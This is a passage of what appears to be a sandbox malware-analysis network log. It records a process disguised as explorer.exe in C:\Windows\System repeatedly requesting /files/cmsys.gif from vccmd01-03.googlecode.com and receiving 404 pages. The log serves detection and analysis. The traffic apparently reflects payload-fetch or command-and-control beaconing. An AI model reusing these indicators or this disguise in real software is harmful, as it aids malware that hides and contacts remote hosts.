Oct 10, 2024 10:13:50.451318026 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:50 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:50.451350927 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	64718	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:53.568186998 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:54.429940939 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:54 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:54.429981947 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 10, 2024 10:13:54.430181026 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	64729	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:55.295622110 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:56.008594990 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:55 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:56.008642912 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	64735	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:56.369529009 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:57.076566935 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:56 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:57.076596975 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	64757	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:00.558329105 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:01.291644096 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:01 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:01.291667938 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	64763	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:01.614864111 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:02.329118013 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:02 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:02.329147100 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	64771	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:02.825536966 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:03.529020071 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:03 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:03.529041052 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	64791	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:05.755048037 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:06.467778921 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:06 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 